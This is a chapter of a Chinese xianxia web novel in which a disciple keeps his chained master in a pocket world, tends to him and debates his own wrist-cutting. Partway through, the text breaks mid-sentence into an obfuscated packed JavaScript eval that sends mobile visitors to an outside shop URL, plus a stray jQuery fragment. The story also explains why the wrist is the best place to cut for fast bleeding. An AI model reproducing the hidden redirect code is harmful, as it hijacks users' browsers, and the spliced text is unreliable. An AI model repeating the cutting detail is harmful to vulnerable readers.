叶伶舟回到小世界。
将屋门推开一条缝,小心翼翼探进去一个脑袋。
视线转动,正正与床上的谢池疏对上。
脑袋缩了回去。
过了一会儿,又慢慢探出来。
谢池疏:“......”
见叶伶舟这副鬼鬼祟祟的可怜样子,他叹了口气道:“过来。”
叶伶舟摇头,他现在总怀疑师尊是想骗他过去揍。
“难不成你以后就打算永远在那里,不过来了?”
叶伶舟一时觉得也不是不行。
谢池疏抬手示意了一下手上红黑交错的链条,“师尊现在又动不了。”
被改造过后的链条缩短了不少,虽说还够谢池疏调整姿势,但绝对再也不够像之前那样禁锢叶伶舟了。
“还是说小舟害怕了?”
叶伶舟立刻道:“才不会!”
他都干出囚禁师尊的事情了,还有什么能是怕的。
反倒是师尊手都被捆住了,这他要是还不敢过去,岂不是显得他很没用。
于是叶伶舟雄赳赳气昂昂走了过去。
他强调:“弟子是去给您准备些打发时间的东西,可不是逃跑。”
一样一样东西向外掏,尽数摆在了床上。
他在藏师尊的时候贴心地选择了一张大床,睡三个人都绰绰有余那种。
拿出最后一本书递过去,突然,手腕被攥住了。
攥得很紧,怎么都抽不回来。
这熟悉的场面,这熟悉的力道,叶伶舟心头一紧。
“您还要打啊?”
说着犹豫的话,手上已经一点不犹豫准备放血了。
谢池疏好气又好笑,“不打,别动,让师尊看看。”
他垂眸,将掌心那截手腕翻了个面。
没有任何伤痕,但有些许血迹,毫无疑问是为了进入小世界,又划开了皮肉。
温热的指腹轻柔摩挲,带来一阵难以忍受的酥麻,好似有电流窜过。
叶伶舟感觉自己那块皮肤都快被染上师尊的温度了。
想要用力抽回手,却听见师尊问他:“一定要是手腕吗?”
“什么?”
谢池疏蹙眉,“就算一定要用血,其他地方的血难道不可以吗。”
“而且破开小世界屏障也不需要你用那么多血。”
叶伶舟当时跑得太急,直接在谢池疏面前划开了小世界屏障。
血变成剑的画面又给谢池疏带来了不轻的震撼,活了这么多年,他就没见过这般诡异的画面。
与叶伶舟所想的师尊在小世界生闷气的画面不一样,谢池疏其实一直在思考这条所谓的道。
心头有种隐隐的不安。
靠伤害自我获取力量,终有一日会迷失在其中。
到那时,或许叶伶舟自己都不会再将自己当做一个活生生的人。
“指尖也可以,掌心也可以,为什么每次都是手腕?”
叶伶舟愣是没想到师尊抓着他摸了半天就是为了问这个问题。
他理所当然道:“手腕出血快。”
指尖那点血够干什么的,也就够扎一扎斋阳了。
掌心也慢,还是手腕最好,血一下就涌出来了。
这是叶伶舟实践过无数次之后找到的,出血多而且割起来方便的部位。
脖子倒是出血更快,但他总不能一言不合就抹脖子吧。
谢池疏皱眉,“难道不疼吗?”
“您也看到了,弟子愈合速度很快的。”
“师尊是问你疼不疼,不是问你愈合快不快。”
腕上的手又攥紧了几分,叶伶舟无声吸了口气,低眼看去。
师尊的手指真长啊,感觉能一下把他两只手都给圈住。
笑眯眯,“不疼。”
“骗人。”
叶伶舟撇撇嘴,“那您还问。”
谢池疏叹了口气,“至少......在平时不许割手腕,你要往返小世界,指尖血足够了。”
他顿了顿,“或者不如让师尊替你来开——”
叶伶舟顿时紧觉,“您是想跑吧。”
“不可能,您就乖乖在这里待着吧,弟子绝对不会放您出去的。”
谢池疏无奈,“小舟你就是这么想师尊的?”
“不然呢,您上午还捆了弟子想离开。”
谢池疏顿时语塞。
想不出什么反驳的话,最后他也只能垂下眼,接着折腾起掌心那截苍白得几近透明的手腕。
好似要用这种方式发泄堵在心中那团郁闷、心疼、愧疚交织成乱麻的情绪。
叶伶舟原先偏凉的皮肤已经有了暖洋洋的温度,苍白的肤色蔓延开红晕,还有着一圈新印上去的指痕,好似被凌虐过一般。
看得谢池疏愈发不解,他分明没用多么大的力道。
从前小舟也是细皮嫩肉,一磕碰就青青紫紫,但绝对没有如今这般夸张。
“师尊。”叶伶舟声音有些僵,“差不多可以放开了吧。”
谢池疏抬眼,“弄疼你了吗?”
“没......”叶伶舟又搬出了应付谢池书的理由,“只是弟子不太喜欢被别人碰。”
本想着这句话一出,他一向克己复礼的师尊肯定就会松手了。
结果谢池疏非但没有松手,甚至又在手腕内侧抚过。
感受到掌心手腕轻微的颤抖,他心下微动。
“以前不是最喜欢让师尊牵着手走了吗?”
叶伶舟反驳,“那时候弟子还小。”
谢池疏轻笑,“那小舟就当自己现在也还小好了。”
说过的话被原封不动还了回来,叶伶舟呆住了。
这个师尊的反应怎么跟外面那个师尊完全不一样啊,不都是两半神魂吗?
腕侧又被指尖轻轻划过,叶伶舟不受控制地一颤,身体紧绷。
比起血肉撕裂的痛,这种温柔的抚摸反而让他更加无所适从。
轻而又轻,柔而又柔,却痒进了骨子。
谢池疏注意到叶伶舟泛红的眼尾,试探着又摩挲了一下。
那眼尾更红了,连带着下方的两颗红痣都艳得吸睛。
许久,他松开了手。
叶伶舟如蒙大赦,手腕当即不停用力在衣服上蹭,蹭得一片通红,传来火辣辣的疼,这才好受了些。
这一幕被留心的谢池疏尽收眼底,他若有所思,却没有出声。
目光扫过床上那些物件,落在衣服上。
叶伶舟跟着看过去,道:“您身上的衣服沾了血,弟子拿了新的衣服,换一下吧。”
之前拿血线缠师尊,太紧张了,一时没控制好,将衣袖与裤腿都沾上了血。
谢池疏揶揄,“这一次没有被他捉到?”
叶伶舟目移。
“不过师尊该怎么换?”谢池疏晃晃手上的链条,“不如先解开——”
“刺啦!”
布料撕裂声。
谢池疏愕然低眼,外袍已然被叶伶舟撕成了碎布条。
以一种不需要经过链条的方式被脱了下来。
“......”
小舟这些年,着实是粗暴了不少。
叶伶舟得意洋洋,“这样不就行了。”
左右不过是一件衣服,他回头就拿师尊的遗产去给师尊订做上几百件。
将布条丢到一旁,扭头却发现师尊用一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17713914|208489||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
种一言难尽的眼神看着他。
谢池疏认真请教:“小舟,脱可以这样,穿该如何穿呢?”
叶伶舟:“......”
忘了,衣服除了脱还得穿。
在脑子里想了许久,都没能想出来一种能在不解开链子的前提下,把外袍给师尊穿上去的方法。
“要不您别穿了,反正也不冷。”
谢池疏无奈,“师尊真的不会跑的。”
叶伶舟坚决不信,才被师尊骗得团团转过一次,他又不是什么一天之内上当两次的笨蛋。
“这样吧,弟子替您穿。”
谢池疏一愣,没能理解这句话的意思。
下一刻就见叶伶舟抓住了其中一条链子。
咔哒一声,链条连着阵法的另一端被扯了下来,紧紧握在手心。
叶伶舟另一只手拿起外袍,将链条从袖口穿了过去,随后跪在床榻上膝行靠近,“来,师尊抬手。”
谢池疏一时不知该说什么,依言抬手将手臂穿过衣袖,彼此之间距离顷刻拉近。
师尊身上的气息萦绕在呼吸中,叶伶舟忍不住朝前倾身,眼睛无意识眯起。
谢池疏扭头看见弟子这副模样,抬手揉了揉对方脑袋,温声:“困了?”
叶伶舟摇头,脑袋主动蹭了蹭掌心。
脱口而出,“师尊香。”
“师尊又不熏香,何来的香味?”
“就是有。”
谢池疏失笑,“好好好,小舟说有就有。”
他将半边外袍拉上肩头,也不催着叶伶舟换边,而是问道:“那要师尊抱一下吗?”
他张开双臂,温柔的眉眼弯起,浅色的眸底像是一湖敛了月华的水,倒映出叶伶舟的模样。
叶伶舟好似被迷惑了一般,没出息的一点点靠近过去。
在快要被谢池疏抱住的那一刻,他猛地回过神来,眼神立刻清醒。
噌噌后退,姿态防备,“不要。”
好险,差点就被师尊哄骗了。
保不齐师尊就是想趁他不注意抢链子。
这可是为了苍生能说祭道就祭道的师尊,必须时刻警惕。
谢池疏放下手,显得有些遗憾。
好不容易养得软乎乎的弟子似乎又变回刚捡回来时候的样子了。
叶伶舟迅速将链条固定回阵法,然后将剩下半边换上,外袍总算是大功告成。
还剩下裤子,他抓着裤子刚要靠近,一下被抵住了脑袋。
“小舟,这个师尊自己来就可以了。”
“哦。”
于是叶伶舟从床上坐回了床沿,等着师尊换好。
结果师尊迟迟不动。
忘记裤子怎么穿了?
谢池疏:“小舟,链子已经系回来了,你不用盯着了。”
叶伶舟歪头,“什么?”
谢池疏点点他脑袋,“回避一下。”
他这才反应过来师尊在纠结什么,依言背过身去。
嘀咕道:“有什么好害羞的,不都长一样吗,最多腿比弟子长一些,师尊脸皮真薄。”
谢池疏轻咳,“别乱说。”
叶伶舟坐在床沿晃悠小腿,耳边传来身后布料摩擦的窸窣声,时不时还伴随着链条晃动的声响。
他随手拿起一本书册翻了翻,只是看了几页诗词便开始视线涣散。
当年到底是怎么做到坚持翻了几百本诗册不昏迷,然后写出一首狗屁不通的情诗来的。
也是难为师尊这么多年孜孜不倦教他这个丝毫不懂风雅的粗人了。
叶伶舟:“师尊。”
“嗯?”
“弟子十七岁的时候送您的情诗,其实您看懂了吧。”